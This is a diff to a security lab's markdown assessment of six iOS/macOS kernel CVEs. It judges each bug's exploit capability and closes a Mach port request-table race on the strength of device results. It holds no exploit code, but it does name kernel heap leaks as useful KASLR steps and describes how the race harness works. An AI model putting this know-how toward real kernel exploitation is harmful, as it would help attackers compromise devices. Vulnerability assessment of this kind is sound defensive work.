b/docs/KERNEL-RW-ASSESSMENT.md @@ -29,7 +29,7 @@ the POCs. | 2026-112705 | AppleAVE2 `NumberOfTemporalLayers` | fixed-offset constant fill in the driver | no | fixed value, fixed offset | **DoS only.** No address control, no value control. The original write-up says explicitly: no arbitrary read/write capability. | | 2026-65385 | IOKit `IOHIDEventAppendEvent` | fixed-offset write into a short heap allocation | no | bounded, offset fixed | **Not reachable as a primitive here.** The POC stops at symbol resolution; the vendor-defined constructor is missing on the host. No leak, no reclaim, no gadget. | | 2026-112696 | AppleH16ANEInterface | kernel interface reachability | no | none observed | **No primitive.** The ANE kernel symbols are absent for a third-party process; the module is an honest negative. | -| 2026-112507 | XNU `ipc_port.c` request-table race | stale index → UAF-shaped race | no | none direct | **The only theoretical UAF path.** The POC proves the interleaving survives; it does not produce a controlled free, a reclaim, or a leak. | +| 2026-112507 | XNU `ipc_port.c` request-table race | stale index → UAF-shaped race | no | none direct | **Not reachable from the app.** Device receipt: 12,288 notification registrations, 0 armed, 12,288 refused with -300 (MIG_TYPE_ERROR). No request-table entry exists, so there is no stale index to consume. | | 2026-113910 | decmpfs chunked zlib | under-produced chunks expose uninitialised kernel heap through a file read | **yes** (bounded) | no | **Leak only.** Useful as a KASLR step; cannot write. | | 2026-112554 | GPT partition-name scan | 72-B scan over a 28-B field | **yes** (bounded, model) | no | **Leak only.** The C twin models the width; the real read runs in the storage kext. | @@ -67,7 +67,30 @@ address. The only observable is a kernel data abort. Calling this "R/W" would require a second bug that turns the corrupted field into a pointer; nothing in the dossier provides one. The correct classification is a reliable kernel DoS. -### CVE-2026-112507 — the UAF-shaped race +### CVE-2026-112507 — reachability closed on the device (2026-10-31) + +The staged lifecycle harness was run on the target device (iPhone19,7, iOS 27.0.1) +with an ad-hoc signed build, and the race module was re-run with an `armed` counter: + +- `mach_port_request_notification(DEAD_NAME)` → **-300** (MIG_TYPE_ERROR), `prev = 0`. +- Send to the dead name → `MACH_SEND_INVALID_DEST`; receive → `MACH_RCV_TIMED_OUT`. +- `kern.ipc`: 12,288 registration attempts, **0 armed, 12,288 refused**. +- On macOS 27 the same call was swept over 13 combinations of notification type + (SEND_POSSIBLE / PORT_DESTROYED / NO_SENDERS / DEAD_NAME) and right layout + (receive-only, send+receive, send-only; notify port receive or send). Every + combination returned -300. + +The kernel refuses to arm a request-table entry for this process. With no entry, +the stale-index consumers in `ipc_port.c` have nothing to consume: the race cannot +be driven from an unentitled third-party app, and the "survived" line from the old +harness was measuring port churn, not the bug. The published fix shape (NULL checks +on `ipr` / `table`) is consistent with a denial or null-dereference path, not with a +reclaimable object. + +**Verdict: closed for this app.** The remaining hypothetical is a platform process +that is allowed to register notifications; that is outside Cinder27's reach. + +### CVE-2026-112507 — the race itself The ring allocates receive rights, arms two notification kinds per port, tears down half the ring, then sends to the survivors. The request-table index consumers are @@ -120,7 +143,9 @@ on the host. ## Bottom line Arbitrary kernel R/W without a panic is **not achievable from these six entries as -shipped**. The maximum safe capability the lab now demonstrates is: +shipped**, and the one entry that had a theoretical UAF path (112507) is now closed +by device evidence: notification registration is refused, so the request table is +never armed. The maximum safe capability the lab demonstrates is: - a repeatable kernel heap **leak** with pointer classification (113910); - a read-width model for the GPT scan (112554);